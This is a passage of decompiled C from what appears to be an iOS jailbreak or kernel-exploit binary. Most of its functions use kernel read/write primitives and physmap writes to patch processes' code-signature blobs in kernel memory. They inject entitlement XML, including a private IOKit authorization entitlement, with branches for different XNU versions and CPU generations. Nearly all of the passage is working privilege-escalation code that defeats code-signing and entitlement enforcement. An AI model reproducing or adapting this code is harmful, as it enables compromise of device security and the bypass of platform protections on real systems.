  }
  return result;
}

//----- (000000000002BCF0) ----------------------------------------------------
__int64 __fastcall compute_sha_hash(int a1, const void *a2, CC_LONG a3, void *a4, uint32_t *a5)
{
  size_t v6; // x21
  CC_SHA512_CTX c; // [xsp+8h] [xbp-138h] BYREF
  unsigned __int8 md[48]; // [xsp+D8h] [xbp-68h] BYREF

  if ( (unsigned int)(a1 - 1) > 3 )
    return 0;
  v6 = dword_436F0[a1 - 1];
  if ( *a5 < (unsigned int)v6 )
    return 0;
  if ( (unsigned int)(a1 - 2) < 2 )
  {
    CC_SHA256_Init((CC_SHA256_CTX *)&c);
    CC_SHA256_Update((CC_SHA256_CTX *)&c, a2, a3);
    CC_SHA256_Final(md, (CC_SHA256_CTX *)&c);
    goto LABEL_11;
  }
  if ( a1 == 4 )
  {
    CC_SHA384_Init(&c);
    CC_SHA384_Update(&c, a2, a3);
    CC_SHA384_Final(md, &c);
    goto LABEL_11;
  }
  if ( a1 == 1 )
  {
    CC_SHA1_Init((CC_SHA1_CTX *)&c);
    CC_SHA1_Update((CC_SHA1_CTX *)&c, a2, a3);
    CC_SHA1_Final(md, (CC_SHA1_CTX *)&c);
LABEL_11:
    memcpy(a4, md, v6);
    *a5 = v6;
    return 1;
  }
  return 0;
}
// 436F0: using guessed type unsigned int dword_436F0[4];

//----- (000000000002BE34) ----------------------------------------------------
__int64 __fastcall cfplist_compare_and_serialize(UInt8 *a1, CFIndex a2, UInt8 *a3, CFIndex a4, uint64_t *a5, uint64_t *a6, uint8_t *a7)
{
  CFErrorRef v12; // x0
  CFErrorRef v13; // x19
  CFErrorRef v14; // x0
  CFErrorRef v15; // x20
  void *v16; // x0
  __int64 v17; // x21
  size_t v19; // [xsp+8h] [xbp-38h] BYREF

  v12 = cfplist_from_bytes(a1, a2);
  if ( !v12 )
    return 0;
  v13 = v12;
  v14 = cfplist_from_bytes(a3, a4);
  if ( v14 )
  {
    v15 = v14;
    if ( cfdict_compare_or_merge(v13, v14, a7) && (v16 = cfplist_serialize_xml(v13, &v19)) != 0 )
    {
      *a6 = v19;
      *a5 = v16;
      v17 = 1;
    }
    else
    {
      v17 = 0;
    }
    CFRelease(v13);
  }
  else
  {
    v17 = 0;
    v15 = v13;
  }
  CFRelease(v15);
  return v17;
}

//----- (000000000002BF00) ----------------------------------------------------
CFErrorRef __fastcall cfplist_from_bytes(UInt8 *bytes, CFIndex length)
{
  struct __CFReadStream *v2; // x0
  struct __CFReadStream *v3; // x19
  struct __CFError *v4; // x0
  CFErrorRef v5; // x20
  CFTypeID v6; // x21
  CFErrorRef error; // [xsp+8h] [xbp-28h] BYREF

  error = 0;
  v2 = CFReadStreamCreateWithBytesNoCopy(kCFAllocatorDefault, bytes, length, kCFAllocatorNull);
  if ( v2 )
  {
    v3 = v2;
    if ( !CFReadStreamOpen(v2) )
    {
      v5 = 0;
      goto LABEL_9;
    }
    v4 = (struct __CFError *)CFPropertyListCreateWithStream(kCFAllocatorDefault, v3, 0, 2u, 0, &error);
    if ( v4 )
    {
      v5 = v4;
      v6 = CFGetTypeID(v4);
      if ( v6 == CFDictionaryGetTypeID() )
      {
LABEL_6:
        CFReadStreamClose(v3);
LABEL_9:
        CFRelease(v3);
        return v5;
      }
    }
    else
    {
      v5 = error;
      if ( !error )
        goto LABEL_6;
    }
    CFRelease(v5);
    v5 = 0;
    goto LABEL_6;
  }
  return 0;
}

//----- (000000000002BFDC) ----------------------------------------------------
bool __fastcall cfdict_compare_or_merge(const void *a1, const void *a2, uint8_t *a3)
{
  uint64_t result; // x0

  if ( !a3 )
    return (unsigned int)compare_cfdict_entries(a1, a2) == 0;
  if ( (unsigned int)merge_cfdict_entries(a1, a2) )
  {
    *a3 = 0;
    return (unsigned int)compare_cfdict_entries(a1, a2) == 0;
  }
  result = 1;
  *a3 = 1;
  return result;
}

//----- (000000000002C044) ----------------------------------------------------
void *__fastcall cfplist_serialize_xml(CFPropertyListRef propertyList, size_t *a2)
{
  const struct __CFData *v3; // x0
  const struct __CFData *v4; // x19
  size_t Length; // x0
  size_t v6; // x22
  void *v7; // x21
  const UInt8 *BytePtr; // x0
  CFErrorRef error; // [xsp+8h] [xbp-28h] BYREF

  error = 0;
  v3 = CFPropertyListCreateData(kCFAllocatorDefault, propertyList, kCFPropertyListXMLFormat_v1_0, 0, &error);
  if ( v3 )
  {
    v4 = v3;
    Length = CFDataGetLength(v3);
    if ( Length )
    {
      v6 = Length;
      v7 = malloc(Length);
      if ( v7 )
      {
        BytePtr = CFDataGetBytePtr(v4);
        memcpy(v7, BytePtr, v6);
        *a2 = v6;
      }
      goto LABEL_7;
    }
  }
  else
  {
    v4 = error;
    if ( !error )
      return 0;
  }
  v7 = 0;
LABEL_7:
  CFRelease(v4);
  return v7;
}

//----- (000000000002C0F8) ----------------------------------------------------
bool __fastcall csblob_inject_entitlement(struct_krwCtx *a1, unsigned int a2, const char *a3)
{
  int v5; // w26
  uint64_t v6; // x19
  unsigned int *v7; // x0
  unsigned int *v8; // x20
  unsigned int v9; // w28
  unsigned int v10; // w27
  unsigned int v11; // w25
  size_t v12; // x24
  size_t v13; // x23
  __int64 v14; // x8
  __int128 *v15; // x0
  uint32_t *v16; // x22
  uint32_t *v17; // x0
  size_t v18; // x0
  uint8_t v20[104]; // [xsp+8h] [xbp-B8h] BYREF

  if ( (unsigned int)csblob_read_and_patch(a1, a2, (__int64)v20) )
  {
    v5 = (a1->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || a1->xnuVersionPacked > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023);
    v7 = csblob_find_entry((__int64)v20, 0, -86111230);
    if ( !v7 )
      goto LABEL_23;
    v8 = v7;
    v9 = v7[5];
    v10 = bswap32(v9);
    if ( a3 )
    {
      v11 = v7[1];
      if ( !v9 || strcmp((const char *)v7 + v10, a3) )
      {
        v12 = bswap32(v11);
        v13 = (unsigned int)strlen(a3) + 1;
        if ( v5 )
        {
          if ( (unsigned int)v13 <= 0x80 )
          {
            v14 = (unsigned int)(v12 - 128);
            v8[5] = bswap32(v14);
            v15 = (__int128 *)((char *)v8 + v14);
            v15[6] = 0u;
            v15[7] = 0u;
            v15[4] = 0u;
            v15[5] = 0u;
            v15[2] = 0u;
            v15[3] = 0u;
            *v15 = 0u;
            v15[1] = 0u;
            strlcpy((char *)v8 + v14, a3, v13);
            v16 = 0;
LABEL_20:
            if ( (unsigned int)csblob_replace_entry((__int64)v20, 0, v8) )
            {
              v6 = (unsigned int)csblob_apply_with_physmap_write(a1, (__int64)v20) != 0;
              if ( !v16 )
                goto LABEL_26;
              goto LABEL_25;
            }
            v6 = 0;
            if ( v16 )
LABEL_25:
              free(v16);
LABEL_26:
            csblob_free_entry((__int64)v20);
            return v6;
          }
LABEL_23:
          v6 = 0;
          goto LABEL_26;
        }
        v17 = calloc((unsigned int)(v13 + v12), 1u);
        if ( !v17 )
          goto LABEL_23;
        v16 = v17;
        memcpy(v17, v8, v12);
        v16[5] = v11;
        strlcpy((char *)v16 + (unsigned int)v12, a3, v13);
        v16[1] = bswap32(v13 + v12);
        v8 = v16;
LABEL_18:
        if ( v9 != 0 && !v5 )
        {
          v18 = strlen((const char *)v8 + v10);
          bzero((char *)v8 + v10, v18);
        }
        goto LABEL_20;
      }
    }
    else if ( v9 )
    {
      v16 = 0;
      v7[5] = 0;
      goto LABEL_18;
    }
    v6 = 1;
    goto LABEL_26;
  }
  return 0;
}

//----- (000000000002C2F8) ----------------------------------------------------
__int64 __fastcall csblob_read_and_patch(struct_krwCtx *a1, unsigned int a2, __int64 a3)
{
  __int64 result; // x0
  unsigned __int64 xnuVersionPacked; // x22
  unsigned int *v9; // x0
  unsigned int *v10; // x23
  int v11; // w22
  unsigned __int64 v12; // x0
  unsigned __int64 v13; // x21
  __int64 v14; // x21
  __int128 v15; // q1
  __int128 v16; // q1
  __int128 v17; // q0
  int v18; // w27
  unsigned int *v19; // x0
  char *v20; // x23
  char *v21; // x22
  unsigned int *v22; // x0
  char *v23; // x0
  unsigned int v24; // w4
  size_t v25; // x24
  size_t v26; // x26
  char *v27; // x0
  int v28; // w24
  char *v29; // x0
  unsigned int v30; // w1
  int v31; // w2
  CFIndex Length; // x23
  const UInt8 *BytePtr; // x0
  unsigned int *v34; // x0
  unsigned int *v35; // x26
  unsigned int v36; // w28
  size_t v37; // x24
  unsigned int v38; // w27
  char *v39; // x8
  const char *v40; // x25
  uint32_t *v41; // x0
  uint32_t *v42; // x22
  int v43; // w23
  unsigned int *v44; // x0
  int v45; // [xsp+Ch] [xbp-D4h]
  __int128 v46; // [xsp+10h] [xbp-D0h] BYREF
  __int128 v47; // [xsp+20h] [xbp-C0h]
  __int128 v48; // [xsp+30h] [xbp-B0h]
  __int128 v49; // [xsp+40h] [xbp-A0h]
  __int128 v50; // [xsp+50h] [xbp-90h]
  __int128 v51; // [xsp+60h] [xbp-80h]
  __int64 v52; // [xsp+70h] [xbp-70h]
  CFDataRef v53; // [xsp+78h] [xbp-68h] BYREF
  size_t v54; // [xsp+80h] [xbp-60h] BYREF
  char *v55; // [xsp+88h] [xbp-58h] BYREF

  if ( (unsigned int)csblob_chain_walk_offsets(a1, a2, 0, 1u, (__int64)&v46)
    || (result = csblob_chain_walk_offsets(a1, a2, 0, 0, (__int64)&v46), (uint32_t)result) )
  {
    xnuVersionPacked = a1->xnuVersionPacked;
    if ( xnuVersionPacked >= XNU_VERSION_PACKED(7195, 100, 326, 0, 0) && ((a1->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || xnuVersionPacked > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023)) )
      LOBYTE(v52) = 1;
    if ( *((uint64_t *)&v48 + 1) >> 29 )
    {
      v12 = kread_task_struct(a1, DWORD1(v50));
      if ( v12 )
      {
        v13 = v12;
        if ( (unsigned int)get_csblob_offset_pair((__int64)a1, (int *)&v54, (int *)&v53) )
        {
          v14 = v13 + (unsigned int)v53;
          if ( (unsigned int)krw_read_thunk(a1, v14, 8, &v55) )
          {
            if ( *((char **)&v48 + 1) == v55 )
              goto LABEL_24;
            if ( (unsigned int)proc_kread_and_patch_slot(a1, DWORD1(v50), (__int64)v55) )
            {
              v55 = (char *)*((uint64_t *)&v48 + 1);
              if ( (unsigned int)kwrite_with_retry((__int64)a1, v14, (__int64)&v55, 8) )
                goto LABEL_24;
            }
          }
        }
      }
      goto LABEL_82;
    }
    v9 = csblob_find_entry((__int64)&v46, v50, -86111230);
    if ( !v9 )
      goto LABEL_82;
    v10 = v9;
    if ( v9[10] )
      goto LABEL_82;
    v9[10] = 128;
    if ( (a1->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) == 0 && xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
    {
LABEL_15:
      v11 = csblob_apply_with_physmap_write(a1, (__int64)&v46);
      csblob_free_entry((__int64)&v46);
      v52 = 0;
      v50 = 0u;
      v51 = 0u;
      v48 = 0u;
      v49 = 0u;
      v46 = 0u;
      v47 = 0u;
      if ( v11 )
      {
        result = csblob_chain_walk_offsets(a1, a2, 0, 1u, (__int64)&v46);
        if ( !(uint32_t)result )
          return result;
LABEL_24:
        v15 = v51;
        *(__int128 *)(a3 + 64) = v50;
        *(__int128 *)(a3 + 80) = v15;
        *(uint64_t *)(a3 + 96) = v52;
        v16 = v47;
        *(__int128 *)a3 = v46;
        *(__int128 *)(a3 + 16) = v16;
        v17 = v49;
        result = 1;
        *(__int128 *)(a3 + 32) = v48;
        *(__int128 *)(a3 + 48) = v17;
        return result;
      }
      return 0;
    }
    v18 = (unsigned __int8)v52;
    v54 = 0;
    v55 = 0;
    v53 = 0;
    if ( xnuVersionPacked > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) && !(uint8_t)v52 )
      goto LABEL_82;
    if ( xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
    {
      v22 = csblob_find_entry((__int64)&v46, 5, -86085263);
      if ( !v22 )
      {
        if ( v18 )
        {
          v23 = (char *)malloc(0x52u);
          v21 = v23;
          if ( !v23 )
            goto LABEL_59;
          qmemcpy(v23, "<dict><key>com.apple.private.iokit.IOServiceSetAuthorizationID</key><true/></dict>", 82);
          v24 = 82;
        }
        else
        {
          v29 = (char *)malloc(0x7FF8u);
          v21 = v29;
          if ( !v29 )
            goto LABEL_59;
          qmemcpy(v29, "<dict><key>com.apple.private.iokit.IOServiceSetAuthorizationID</key><true/></dict>", 82);
          bzero(v29 + 82, 0x7FA6u);
          v10[10] = 0x8000;
          v24 = 32760;
        }
        if ( !(unsigned int)csblob_alloc_and_insert_entry((__int64)&v46, 5, 0xFADE7171, v21, v24)
          || !(unsigned int)csblob_repack_entries((__int64)&v46, 5u) )
        {
          goto LABEL_59;
        }
        goto LABEL_50;
      }
    }
    else
    {
      v19 = csblob_find_entry((__int64)&v46, 7, -86085262);
      if ( v19 )
      {
        if ( (unsigned int)ce_context_cfdata_transform(
                             (const UInt8 *)v19 + 8,
                             bswap32(v19[1]) - 8LL,
                             "<dict><key>com.apple.private.iokit.IOServiceSetAuthorizationID</key><true/></dict>",
                             &v55,
                             &v54,
                             0) )
        {
          v20 = v55;
          if ( !(unsigned int)csblob_set_entry_data((__int64)&v46, 7, 0xFADE7172, v55, v54) )
          {
            v21 = 0;
            v28 = 0;
LABEL_61:
            v45 = v18;
            if ( v20 )
              free(v20);
            if ( v21 )
              free(v21);
            if ( !v28 )
              goto LABEL_82;
            v34 = csblob_find_entry((__int64)&v46, 0, -86111230);
            if ( !v34 )
              goto LABEL_82;
            v35 = v34;
            v36 = v34[1];
            v37 = bswap32(v36);
            v38 = v34[5];
            v39 = (char *)v34 + bswap32(v38);
            v40 = v38 ? v39 : 0LL;
            v41 = calloc((unsigned int)(v37 + 128), 1u);
            if ( !v41 )
              goto LABEL_82;
            v42 = v41;
            memcpy(v41, v35, v37);
            if ( v38 )
            {
              v42[5] = v36;
              if ( strlcpy((char *)v42 + v37, v40, 0x80u) >= 0x80 )
              {
                free(v42);
                goto LABEL_82;
              }
            }
            else
            {
              v42[5] = 0;
            }
            v42[1] = bswap32(v37 + 128);
            v43 = csblob_replace_entry((__int64)&v46, 0, v42);
            free(v42);
            if ( v43 )
            {
              if ( v45 )
                goto LABEL_15;
              if ( (unsigned int)csblob_apply_with_physmap_write(a1, (__int64)&v46) )
              {
                csblob_free_entry((__int64)&v46);
                v52 = 0;
                v50 = 0u;
                v51 = 0u;
                v48 = 0u;
                v49 = 0u;
                v46 = 0u;
                v47 = 0u;
                if ( (unsigned int)csblob_chain_walk_offsets(a1, a2, 0, 1u, (__int64)&v46) )
                {
                  v44 = csblob_find_entry((__int64)&v46, 5, -86085263);
                  if ( v44 )
                  {
                    v44[1] = bswap32(strlen((const char *)v44 + 8) + 8);
                    if ( (unsigned int)csblob_zero_entry_region((__int64)&v46, 5u, -86085263) )
                    {
                      if ( csblob_find_entry((__int64)&v46, v50, -86111230) )
                        goto LABEL_15;
                    }
                  }
                }
              }
            }
LABEL_82:
            csblob_free_entry((__int64)&v46);
            return 0;
          }
          v21 = 0;
          if ( !(unsigned int)csblob_zero_entry_region((__int64)&v46, 7u, -86085262) )
            goto LABEL_59;
LABEL_52:
          v28 = 1;
LABEL_60:
          v20 = v55;
          goto LABEL_61;
        }
        goto LABEL_58;
      }
      v22 = csblob_find_entry((__int64)&v46, 5, -86085263);
      if ( !v22 )
      {
        if ( ce_serialize_cfplist(
               (const UInt8 *)"<dict><key>com.apple.private.iokit.IOServiceSetAuthorizationID</key><true/></dict>",
               82,
               (__int64)&v53) )
        {
          Length = CFDataGetLength(v53);
          v21 = (char *)malloc(Length);
          if ( !v21 )
            goto LABEL_59;
          BytePtr = CFDataGetBytePtr(v53);
          memcpy(v21, BytePtr, Length);
          if ( !(unsigned int)csblob_alloc_and_insert_entry((__int64)&v46, 7, 0xFADE7172, v21, Length)
            || !(unsigned int)csblob_repack_entries((__int64)&v46, 7u) )
          {
            goto LABEL_59;
          }
          v31 = -86085262;
          v30 = 7;
          goto LABEL_51;
        }
        goto LABEL_58;
      }
    }
    if ( (unsigned int)cfplist_compare_and_serialize(
                         (UInt8 *)v22 + 8,
                         bswap32(v22[1]) - 8LL,
                         (UInt8 *)"<dict><key>com.apple.private.iokit.IOServiceSetAuthorizationID</key><true/></dict>",
                         82,
                         &v55,
                         &v54,
                         0) )
    {
      v25 = v54;
      if ( v18 )
      {
        v21 = v55;
        v55 = 0;
      }
      else
      {
        v26 = (v54 + 32775) & 0xFFFFFFFFFFFFC000LL;
        v27 = (char *)malloc(v26 - 8);
        v21 = v27;
        if ( !v27 )
          goto LABEL_59;
        memcpy(v27, v55, v25);
        bzero(&v21[v25], v26 - 8 - v25);
        v10[10] = v26;
        LODWORD(v25) = v26 - 8;
      }
      if ( !(unsigned int)csblob_set_entry_data((__int64)&v46, 5, 0xFADE7171, v21, v25) )
        goto LABEL_59;
LABEL_50:
      v30 = 5;
      v31 = -86085263;
LABEL_51:
      if ( (unsigned int)csblob_zero_entry_region((__int64)&v46, v30, v31) )
        goto LABEL_52;
LABEL_59:
      v28 = 0;
      goto LABEL_60;
    }
LABEL_58:
    v21 = 0;
    goto LABEL_59;
  }
  return result;
}

//----- (000000000002C9B0) ----------------------------------------------------
unsigned int *__fastcall csblob_find_entry(__int64 a1, int a2, int a3)
{
  int v3; // w8
  unsigned int *v4; // x9
  __int64 v5; // x8
  unsigned int **i; // x9
  unsigned int *result; // x0

  if ( !a1 )
    return 0;
  v3 = *(uint32_t *)(a1 + 48);
  if ( !v3 )
  {
    if ( !a2 )
    {
      result = *(unsigned int **)(a1 + 56);
      if ( *result == 34397946 )
        return result;
    }
    return 0;
  }
  if ( v3 != 1 )
    return 0;
  v4 = *(unsigned int **)(a1 + 56);
  v5 = *v4;
  if ( !(uint32_t)v5 )
    return 0;
  for ( i = (unsigned int **)(*((uint64_t *)v4 + 1) + 8LL); ; i += 2 )
  {
    if ( *((uint32_t *)i - 2) == a2 )
    {
      result = *i;
      if ( bswap32(**i) == a3 )
        break;
    }
    if ( !--v5 )
      return 0;
  }
  return result;
}

//----- (000000000002CA2C) ----------------------------------------------------
__int64 __fastcall csblob_replace_entry(__int64 a1, int a2, unsigned int *a3)
{
  __int64 result; // x0
  __int64 v5; // x20
  uint32_t *v6; // x8

  result = csblob_find_slot_by_pair(a1, a2, -86111230);
  if ( result )
  {
    v5 = result;
    result = (__int64)csblob_dup_entry(a3);
    if ( result )
    {
      v6 = *(uint32_t **)(v5 + 8);
      *(uint64_t *)(v5 + 8) = result;
      csblob_bzero_and_free(v6);
      return 1;
    }
  }
  return result;
}

//----- (000000000002CA80) ----------------------------------------------------
__int64 __fastcall csblob_apply_with_physmap_write(struct_krwCtx *a1, __int64 a2)
{
  __int64 result; // x0
  uint64_t v4[2]; // [xsp+8h] [xbp-28h] BYREF
  unsigned int v5; // [xsp+18h] [xbp-18h]

  v4[0] = a1;
  v4[1] = a2;
  v5 = 0;
  if ( a1->xnuVersionPacked < XNU_VERSION_PACKED(7195, 100, 326, 0, 0) || krw_ctx_has_flag(a1, KRW_CTX_FLAG_MOBILEBACKUP_SANDBOX_PATCHED) )
  {
    csblob_proc_patch_dispatch((__int64)v4);
    return v5;
  }
  if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) && a1->xnuVersionPacked <= XNU_VERSION_PACKED(7195, 120, 37, 1023, 1023) )
  {
    result = run_callback_with_physmap_write((__int64)a1, csblob_proc_patch_dispatch, (__int64)v4);
    if ( (uint32_t)result )
      return v5;
  }
  else
  {
    result = pthread_create_and_join((__int64)a1, (__int64)csblob_proc_patch_dispatch, v4);
    if ( (uint32_t)result )
      return v5;
  }
  return result;
}

//----- (000000000002CB54) ----------------------------------------------------
void __fastcall csblob_free_entry(__int64 a1)
{
  int v2; // w8

  v2 = *(uint32_t *)(a1 + 48);
  if ( v2 )
  {
    if ( v2 == 1 )
      csblob_free_array(*(unsigned int **)(a1 + 56));
  }
  else
  {
    csblob_bzero_and_free(*(uint32_t **)(a1 + 56));
  }
  *(uint64_t *)(a1 + 56) = 0;
  *(uint32_t *)(a1 + 48) = -1;
}

//----- (000000000002CBA4) ----------------------------------------------------
__int64 __fastcall sub_2CBA4(struct_krwCtx *a1, __int64 task, char *entitlementXml, char a4)
{
  __int64 result; // x0
  unsigned __int64 v9; // x8
  bool v10; // cc
  bool v11; // w27
  int v12; // w24
  unsigned int *v13; // x0
  unsigned int *v14; // x22
  UInt8 *v15; // x23
  unsigned __int64 v16; // x24
  size_t v17; // x0
  bool v18; // w24
  size_t v19; // x4
  const UInt8 *BytePtr; // x22
  unsigned int Length; // w0
  int v22; // w2
  unsigned int v23; // w1
  void *v24; // x22
  unsigned int *v25; // x0
  unsigned int *v26; // x0
  __int64 v27; // x8
  unsigned __int64 v28; // x9
  unsigned __int64 v29; // x8
  size_t v30; // x24
  size_t v31; // x25
  CFDataRef theData; // [xsp+8h] [xbp-D8h] BYREF
  bool v33; // [xsp+17h] [xbp-C9h] BYREF
  size_t __n; // [xsp+18h] [xbp-C8h] BYREF
  void *__src; // [xsp+20h] [xbp-C0h] BYREF
  uint8_t v36[64]; // [xsp+28h] [xbp-B8h] BYREF
  int v37; // [xsp+68h] [xbp-78h]
  char v38; // [xsp+88h] [xbp-58h]
  char v39; // [xsp+89h] [xbp-57h]

  __src = 0;
  v33 = 0;
  theData = 0;
  result = csblob_read_and_patch(a1, task, (__int64)v36);
  if ( !(uint32_t)result )
    return result;
  v9 = a1->xnuVersionPacked;
  if ( v9 < XNU_VERSION_PACKED(7195, 100, 326, 0, 0) || ((a1->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) == 0 ? (v10 = v9 > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023)) : (v10 = 1), !v10) )
  {
    v12 = 0;
    v11 = (a4 & 1) == 0;
LABEL_12:
    v13 = csblob_find_entry((__int64)v36, 5, -86085263);
    if ( !v13 )
    {
      if ( (a1->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) == 0 )
      {
        v19 = strlen(entitlementXml);
        if ( v12 )
        {
          if ( ce_serialize_cfplist((const UInt8 *)entitlementXml, v19, (__int64)&theData) )
          {
            BytePtr = CFDataGetBytePtr(theData);
            Length = CFDataGetLength(theData);
            if ( (unsigned int)csblob_alloc_and_insert_entry((__int64)v36, 7, 0xFADE7172, BytePtr, Length) )
            {
              if ( (unsigned int)csblob_repack_entries((__int64)v36, 7u) )
              {
                v22 = -86085262;
                v23 = 7;
                goto LABEL_53;
              }
            }
          }
        }
        else if ( (unsigned int)csblob_alloc_and_insert_entry((__int64)v36, 5, 0xFADE7171, entitlementXml, v19)
               && (unsigned int)csblob_repack_entries((__int64)v36, 5u) )
        {
          goto LABEL_52;
        }
      }
      goto LABEL_56;
    }
    v14 = v13;
    v15 = (UInt8 *)(v13 + 2);
    v16 = bswap32(v13[1]) - 8LL;
    v17 = strlen(entitlementXml);
    if ( !(unsigned int)cfplist_compare_and_serialize(v15, v16, (UInt8 *)entitlementXml, v17, &__src, &__n, &v33) )
      goto LABEL_56;
    if ( !v33 )
      goto LABEL_25;
    if ( a1->xnuVersionPacked < XNU_VERSION_PACKED(8019, 0, 0, 0, 0) || v11 )
    {
LABEL_18:
      v18 = 0;
      goto LABEL_57;
    }
    if ( (unsigned int)kread_task_slot_and_necp_set(a1, (__int64)v36, task, &v33) )
    {
      if ( v33 )
        goto LABEL_18;
LABEL_25:
      if ( !v38 && (a1->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 )
      {
        v26 = csblob_find_entry((__int64)v36, v37, -86111230);
        if ( v26 )
        {
          v27 = v26[10];
          if ( (uint32_t)v27 )
          {
            v28 = v27 - 8;
            if ( v27 - 8 < v16 )
              v28 = v16;
            v29 = (v27 & 0x3FFF) != 0 ? v16 : v28;
            v30 = __n;
            v31 = v29 - __n;
            if ( v29 >= __n )
            {
              memcpy(v15, __src, __n);
              bzero((char *)v14 + v30 + 8, v31);
              v14[1] = bswap32(v30 + 8);
              goto LABEL_52;
            }
          }
        }
LABEL_56:
        v18 = 1;
        goto LABEL_57;
      }
      v24 = __src;
      if ( (unsigned int)csblob_set_entry_data((__int64)v36, 5, 0xFADE7171, __src, __n) )
      {
LABEL_52:
        v23 = 5;
        v22 = -86085263;
        goto LABEL_53;
      }
LABEL_69:
      v18 = 1;
      if ( !v24 )
        goto LABEL_59;
      goto LABEL_58;
    }
LABEL_55:
    v11 = 0;
    goto LABEL_56;
  }
  v38 = 1;
  v11 = (a4 & 1) == 0;
  if ( v9 >= XNU_VERSION_PACKED(8019, 0, 0, 0, 0) && (a4 & 1) != 0 )
  {
    v39 = 1;
  }
  else if ( v9 <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
  {
    v12 = 0;
    goto LABEL_12;
  }
  v25 = csblob_find_entry((__int64)v36, 7, -86085262);
  if ( !v25 )
  {
    v12 = 1;
    goto LABEL_12;
  }
  if ( !(unsigned int)ce_context_cfdata_transform((const UInt8 *)v25 + 8, bswap32(v25[1]) - 8LL, entitlementXml, &__src, &__n, &v33) )
    goto LABEL_56;
  if ( !v33 )
  {
LABEL_67:
    v24 = __src;
    if ( (unsigned int)csblob_set_entry_data((__int64)v36, 7, 0xFADE7172, __src, __n) )
    {
      v23 = 7;
      v22 = -86085262;
LABEL_53:
      if ( (unsigned int)csblob_zero_entry_region((__int64)v36, v23, v22) )
      {
        v18 = (unsigned int)csblob_apply_with_physmap_write(a1, (__int64)v36) == 0;
        goto LABEL_57;
      }
      goto LABEL_56;
    }
    goto LABEL_69;
  }
  v18 = 0;
  if ( a1->xnuVersionPacked >= XNU_VERSION_PACKED(8019, 0, 0, 0, 0) && (a4 & 1) != 0 )
  {
    if ( !(unsigned int)kread_task_slot_and_necp_set(a1, (__int64)v36, task, &v33) )
      goto LABEL_55;
    if ( v33 )
    {
      v11 = 0;
      goto LABEL_18;
    }
    goto LABEL_67;
  }
LABEL_57:
  v24 = __src;
  if ( __src )
LABEL_58:
    free(v24);
LABEL_59:
  if ( theData )
    CFRelease(theData);
  csblob_free_entry((__int64)v36);
  if ( v18 )
    return 0;
  if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) || v11 )
    return 1;
  return krw_inject_entitlements_maybe((__int64)a1, task, entitlementXml);
}

//----- (000000000002D008) ----------------------------------------------------
__int64 __fastcall ce_context_cfdata_transform(const UInt8 *a1, CFIndex a2, char *a3, uint64_t *a4, size_t *a5, uint8_t *a6)
{
  void *v12; // x0
  void *v13; // x19
  __int64 *v14; // x0
  __int64 v15; // x20
  __int64 *v16; // x0
  __int64 v17; // x28
  __int64 (__fastcall *v18)(__int64, CFDataRef, __int64 *); // x0
  __int64 (__fastcall *v19)(__int64, CFDataRef, __int64 *); // x27
  __int64 (__fastcall *v20)(__int64, CFDictionaryRef *); // x0
  __int64 (__fastcall *v21)(__int64, CFDictionaryRef *); // x28
  __int64 (__fastcall *v22)(__int64, CFMutableDictionaryRef, CFDataRef *); // x0
  void (__fastcall *v23)(__int64 *); // x20
  CFDataRef v24; // x21
  CFMutableDictionaryRef MutableCopy; // x23
  size_t v26; // x0
  CFErrorRef v27; // x25
  size_t Length; // x26
  void *v29; // x0
  void *v30; // x27
  const UInt8 *BytePtr; // x0
  __int64 v32; // x22
  __int64 (__fastcall *v34)(__int64, CFMutableDictionaryRef, CFDataRef *); // [xsp+10h] [xbp-80h]
  __int64 v35; // [xsp+18h] [xbp-78h]
  __int64 v36; // [xsp+20h] [xbp-70h]
  __int64 v37; // [xsp+28h] [xbp-68h] BYREF
  CFDictionaryRef theDict; // [xsp+30h] [xbp-60h] BYREF
  CFDataRef theData; // [xsp+38h] [xbp-58h] BYREF

  theDict = 0;
  theData = 0;
  v37 = 0;
  v12 = dlopen("/usr/lib/libCoreEntitlements.dylib", 1);
  v13 = v12;
  if ( !v12 )
    goto LABEL_18;
  v14 = (__int64 *)dlsym(v12, "kCENoError");
  if ( !v14 )
    goto LABEL_18;
  v15 = *v14;
  v16 = (__int64 *)dlsym(v13, "CECRuntime");
  if ( !v16
    || (v17 = *v16,
        (v18 = (__int64 (__fastcall *)(__int64, CFDataRef, __int64 *))dlsym(v13, "CEManagedContextFromCFData")) == 0)
    || (v19 = v18,
        v36 = v17,
        (v20 = (__int64 (__fastcall *)(__int64, CFDictionaryRef *))dlsym(v13, "CEQueryContextToCFDictionary")) == 0)
    || (v21 = v20,
        (v22 = (__int64 (__fastcall *)(__int64, CFMutableDictionaryRef, CFDataRef *))dlsym(
                                                                                       v13,
                                                                                       "CESerializeCFDictionary")) == 0) )
  {
LABEL_18:
    v24 = 0;
    MutableCopy = 0;
    v27 = 0;
    v23 = 0;
    goto LABEL_19;
  }
  v34 = v22;
  v35 = v15;
  v23 = (void (__fastcall *)(__int64 *))dlsym(v13, "CEReleaseManagedContext");
  if ( !v23 || !dlsym(v13, "CEGetErrorString") )
  {
    v24 = 0;
LABEL_36:
    MutableCopy = 0;
    goto LABEL_37;
  }
  v24 = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, a1, a2, kCFAllocatorNull);
  if ( !v24 || v35 != v19(v36, v24, &v37) || v35 != v21(v37, &theDict) )
    goto LABEL_36;
  MutableCopy = CFDictionaryCreateMutableCopy(kCFAllocatorDefault, 0, theDict);
  if ( !MutableCopy )
